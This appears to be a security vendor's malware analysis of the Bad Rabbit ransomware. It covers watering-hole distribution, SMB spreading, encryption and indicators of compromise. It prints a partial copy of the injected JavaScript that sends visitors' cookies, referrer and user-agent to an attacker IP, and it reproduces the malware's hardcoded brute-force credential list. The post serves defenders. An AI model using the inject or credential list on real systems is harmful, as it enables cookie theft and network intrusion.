UPDATE (October 27 - 15:35 CEST): A new report suggested that EternalRomance - one of the leaked NSA tools - has been used to spread Diskcoder.D in the network. We were able to confirm this by installing the out-of-life-cycle patch MS17-010 (a patch addressing vulnerabilities misused by the leaked NSA exploits), which stopped the further spread of the malware via IPC share.

A new ransomware outbreak today and has hit some major infrastructure in Ukraine including Kiev metro. Here are some of the details about this new variant.

Drive-by download via watering hole on popular sites

One of the distribution method of Bad Rabbit is via drive-by download. Some popular websites are compromised and have JavaScript injected in their HTML body or in one of their .js files.

Here is a beautified version of the inject:

function e(d) {
  var xhr = null;
  if (!!window.XMLHttpRequest) {
    xhr = new XMLHttpRequest();
  } else if (!!window.ActiveXObject) {
    var xhrs = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.6.0'];
    for (var i = 0; i < xhrs.length; i++) {
      try {
        xhr = ActiveXObject(xhrs[i]);
      } catch (e) {}
  if (!!xhr) {
    xhr.open('POST', 'http://185.149.120\.3/scholargoogle/');
    xhr.timeout = 10000;
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4 && xhr.status == 200) {
        var resp = xhr.responseText;
        if (resp) {
          var fans = JSON.parse(resp);
          if (fans) {
            var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, '%20');
            var da = document.createElement('div');
            da.id = 'ans';
            da.innerHTML = an_s;
    var pd = [];
    for (var k in d) {
      if (d.hasOwnProperty(k)) {
        pd.push(k + '=' + d[k]);
    var dc = pd.join('&');
  'agent': navigator.userAgent,
  'referer': document.referrer,
  'cookie': document.cookie,
  'domain': window.location.hostname,
  'c_state': !!document.cookie

This script reports the following to 185.149.120[.]3, which doesn't seem to respond at the moment.

  • Browser User-Agent
  • Referrer
  • Cookie from the visited site
  • Domain name of the visited site

Server side logic can determine if the visitor is of interest and then add content to the page. In that case, what we have seen is that a popup asking to download an update for Flash Player is shown in the middle of the page.

When clicking on the "Install" button, download of an executable file from 1dnscontrol[.]com is initiated. This executable file, install_flash_player.exe is the dropper for Win32/Diskcoder.D.

Finally the computer is locked and the malware shows the ransom note:

The payment page:

Spreading via SMB

Win32/Diskcoder.D has the ability to spread via SMB. As opposed to some public claims, it does not use the EternalBlue vulnerability like the Win32/Diskcoder.C (Not-Petya) outbreak. First, it scans internal networks for open SMB shares. It looks for the following shares:

  • admin
  • atsvc
  • browser
  • eventlog
  • lsarpc
  • netlogon
  • ntsvcs
  • spoolss
  • samr
  • srvsvc
  • scerpc
  • svcctl
  • wkssvc

Mimikatz is launched on the compromised computer to harvest credentials. A hardcoded list of usernames and passwords is also present.

Usernames Passwords
Administrator Administrator
Admin administrator
Guest Guest
User guest
User1 User
user-1 user
Test Admin
root adminTest
buh test
boss root
ftp 123
rdp 1234
rdpuser 12345
rdpadmin 123456
manager 1234567
support 12345678
work 123456789
other user 1234567890
operator Administrator123
backup administrator123
asus Guest123
ftpuser guest123
ftpadmin User123
nas user123
nasuser Admin123
nasadmin admin123Test123
superuser test123
netguest password
alex 111111

When working credentials are found, the infpub.dat file is dropped into the Windows directory and executed through SCManager and rundll.exe.


Win32/Diskcoder.D is modified version of Win32/Diskcoder.C. Bugs in file encryption were fixed. The encryption now uses DiskCryptor, an open source legitimate software used to do full drive encryption. Keys are generated using CryptGenRandom and then protected by a hardcoded RSA 2048 public key.

Like before, AES-128-CBC is used.


Interestingly, ESET telemetry shows that Ukraine accounts only for 12.2% of the total number of times we have seen the dropper component Here are the statistics:

  • Russia: 65%
  • Ukraine: 12.2%
  • Bulgaria: 10.2%
  • Turkey: 6.4%
  • Japan: 3.8%
  • Other: 2.4%

This pretty much matches the distribution of compromised websites that include the malicious JavaScript. So why does Ukraine seem to be more hit than the rest?

It's interesting to note that all these big companies were all hit at the same time. It is possible that the group already had a foot inside their network and launched the watering hole attack at the same time as a decoy. Nothing says they fell for the "Flash update". ESET is still investigating and we will post our finding as we discover them.


SHA-1 Filename ESET Detection name Description
79116fe99f2b421c52ef64097f0f39b815b20907 infpub.dat Win32/Diskcoder.D Diskcoder
afeee8b4acff87bc469a6f0364a81ae5d60a2add dispci.exe Win32/Diskcoder.D Lockscreen
413eba3973a15c1a6429d9f170f3e8287f98c21c Win32/RiskWare.Mimikatz.X Mimikatz (32-bits)
16605a4a29a101208457c47ebfde788487be788d Win64/Riskware.Mimikatz.X Mimikatz (64-bits)
de5c8d858e6e41da715dca1c019df0bfb92d32c0 install_flash_player.exe Win32/Diskcoder.D Dropper
4f61e154230a64902ae035434690bf2b96b4e018 page-main.js JS/Agent.NWC JavaScript on compromised sites

C&C servers

Payment site: http://caforssztxqzf2nm[.]onion

Inject URL: http://185.149.120[.]3/scholargoogle/

Distribution URL: hxxp://1dnscontrol[.]com/flash_install.php

List of compromised sites:

  • hxxp://argumentiru[.]com
  • hxxp://www.fontanka[.]ru
  • hxxp://grupovo[.]bg
  • hxxp://www.sinematurk[.]com
  • hxxp://www.aica.co[.]jp
  • hxxp://spbvoditel[.]ru
  • hxxp://argumenti[.]ru
  • hxxp://www.mediaport[.]ua
  • hxxp://blog.fontanka[.]ru
  • hxxp://an-crimea[.]ru
  • hxxp://www.t.ks[.]ua
  • hxxp://most-dnepr[.]info
  • hxxp://osvitaportal.com[.]ua
  • hxxp://www.otbrana[.]com
  • hxxp://calendar.fontanka[.]ru
  • hxxp://www.grupovo[.]bg
  • hxxp://www.pensionhotel[.]cz
  • hxxp://www.online812[.]ru
  • hxxp://www.imer[.]ro
  • hxxp://novayagazeta.spb[.]ru
  • hxxp://i24.com[.]ua
  • hxxp://bg.pensionhotel[.]com
  • hxxp://ankerch-crimea[.]ru